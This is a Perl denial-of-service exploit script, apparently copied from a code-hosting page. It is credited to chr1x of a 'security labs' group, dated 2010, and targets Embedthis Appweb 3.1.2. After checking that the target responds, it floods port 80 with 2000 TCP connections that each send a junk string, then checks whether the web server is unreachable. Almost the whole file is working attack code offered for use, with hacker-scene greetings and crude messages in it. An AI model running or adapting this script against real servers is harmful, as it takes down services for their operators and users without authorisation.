101 lines
No EOL
4.1 KiB
Perl
Executable file
101 lines
No EOL
4.1 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
################################################################################
|
|
#
|
|
# +------------------------------------------------------------------------+
|
|
# | ....... |
|
|
# | ..''xxxxxxxxxxxxxxx'... |
|
|
# | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. |
|
|
# | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. |
|
|
# | .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. |
|
|
# | .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. |
|
|
# | .xxxxxxxxxxxxxxxxxx'... ........ .'. |
|
|
# | 'xxxxxxxxxxxxxxx'...... '. |
|
|
# | 'xxxxxxxxxxxxxx'..'x.. .x. |
|
|
# | .xxxxxxxxxxxx'...'.. ... .' |
|
|
# | 'xxxxxxxxx'.. . .. .x. |
|
|
# | xxxxxxx'. .. x. |
|
|
# | xxxx'. .... x x. |
|
|
# | 'x'. ...'xxxxxxx'. x .x. |
|
|
# | .x'. .'xxxxxxxxxxxxxx. '' .' |
|
|
# | .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' |
|
|
# | .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. |
|
|
# | .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' |
|
|
# | .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. |
|
|
# | .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. |
|
|
# | .'xxxxxxx'.... ...xxxxxxx'. |
|
|
# | ..'xxxxx'.. ..xxxxx'.. |
|
|
# | ....'xx'.....''''... |
|
|
# | |
|
|
# | CubilFelino Security Research Labs |
|
|
# | proudly presents... |
|
|
# +------------------------------------------------------------------------+
|
|
#
|
|
# Embedthis Appweb 3.1.2 Remote DoS
|
|
#
|
|
#
|
|
# Greets: l1l1th (my h4x0r bab3), nitr0us, alt3kx, hkm, r1l0, b0rr3x, w01f,
|
|
# w0lf47, gh0st, CHiP, corelanc0d3r and all the crew of sectester.net.
|
|
#
|
|
################################################################################
|
|
|
|
# Exploit Title: Embedthis Appweb 3.1.2 Remote DoS
|
|
# Date: Mar 12, 2010
|
|
# Author: chr1x
|
|
# Software Link: http://embedthis.com/downloads/index.html
|
|
# Version: 3.1.2
|
|
# Tested on: Windows XP SP3 (Spanish Edition)
|
|
|
|
# st4rt of v00d00 c0d3 XD
|
|
|
|
use HTTP::Lite;
|
|
use IO::Socket;
|
|
use locale;
|
|
|
|
if ($#ARGV != 1) { print "
|
|
############################################################
|
|
CubilFelino Security Labs Embedthis Appweb 3.1.2 Remote DoS
|
|
by chr1x\@sectester.net
|
|
############################################################
|
|
|
|
Usage: ". $0 ." -h (ip address)\n
|
|
|
|
"; exit; } &main();
|
|
|
|
|
|
sub main {
|
|
print "
|
|
############################################################
|
|
CubilFelino Security Labs Embedthis Appweb 3.1.2 Remote DoS
|
|
by chr1x\@sectester.net
|
|
############################################################
|
|
|
|
";
|
|
# Variables
|
|
$DossedIP = $ARGV[1];
|
|
# Execution functions
|
|
&appWebCheck();
|
|
sleep 30;
|
|
&afterDoS();
|
|
}
|
|
|
|
sub appWebCheck {
|
|
print "[*] Verifying that AppWeb is running at $DossedIP in port 80\n";
|
|
my $http = new HTTP::Lite;
|
|
my $req = $http->request("http://$DossedIP/")
|
|
or die "[*] Remote address $DossedIP seems not to be up, stopped";
|
|
if ($req) { print "[*] w00t! Appweb seems to be running! Sending DoS.. XD\n";
|
|
for ($i=1; $i<=2000; $i++) {
|
|
my $sock = new IO::Socket::INET (PeerAddr => $DossedIP, PeerPort => '80', Proto => 'tcp', Type => SOCK_STREAM,);
|
|
if ($sock) {
|
|
print "[*] Sending Connection request Number: $i\n";
|
|
print $sock "Die Biatch!";
|
|
close($sock);
|
|
}}}}
|
|
|
|
sub afterDoS {
|
|
|
|
$http = new HTTP::Lite;
|
|
$req = $http->request("http://$DossedIP/")
|
|
or die "[*] Webserver DoSsed!! Port 80 is unreacheable now.";
|
|
} |